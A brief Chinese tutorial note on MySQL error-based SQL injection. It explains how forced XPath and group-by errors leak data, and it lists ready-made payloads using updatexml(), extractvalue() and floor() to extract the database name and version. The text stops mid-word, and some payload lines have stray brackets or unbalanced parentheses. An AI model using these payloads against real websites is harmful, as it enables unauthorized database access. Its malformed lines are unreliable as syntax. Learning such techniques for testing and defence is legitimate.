报错注入
报错注入原理
在MYSQL中使用一些指定的函数来制造报错,后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端,从而从报错信息中获取设定的信息。select/insert/update/delete都可以使用报错来获取信息
常用的报错函数
-
updatexml()
updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数;
and updatexml(xml_document,Xpathstring,new_value)
- updatexml(1,concat(0x7e,([select] database()),0x7e),1)
- xml_document:xml标记,可以是任意值
- Xpathstring:显示输出的信息,正确的是路径xx/xxx/x
- new_value:替换找到的符合条件的数据
- updatexml(1,concat(0x7e,([select] database()),0x7e),1)
-
extractvalue()
extractvalue()函数也是MYSQL对XML文档数据进行查询的XPATH函数;
正确的应该显示xml路径xx/xxx,但是我们要报错注入,所以就要故意输错以此来显示数据库报错信息
- and extractvalue(1,concat(0x7e,(select database())))
-
floor()
- and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)
-
name_con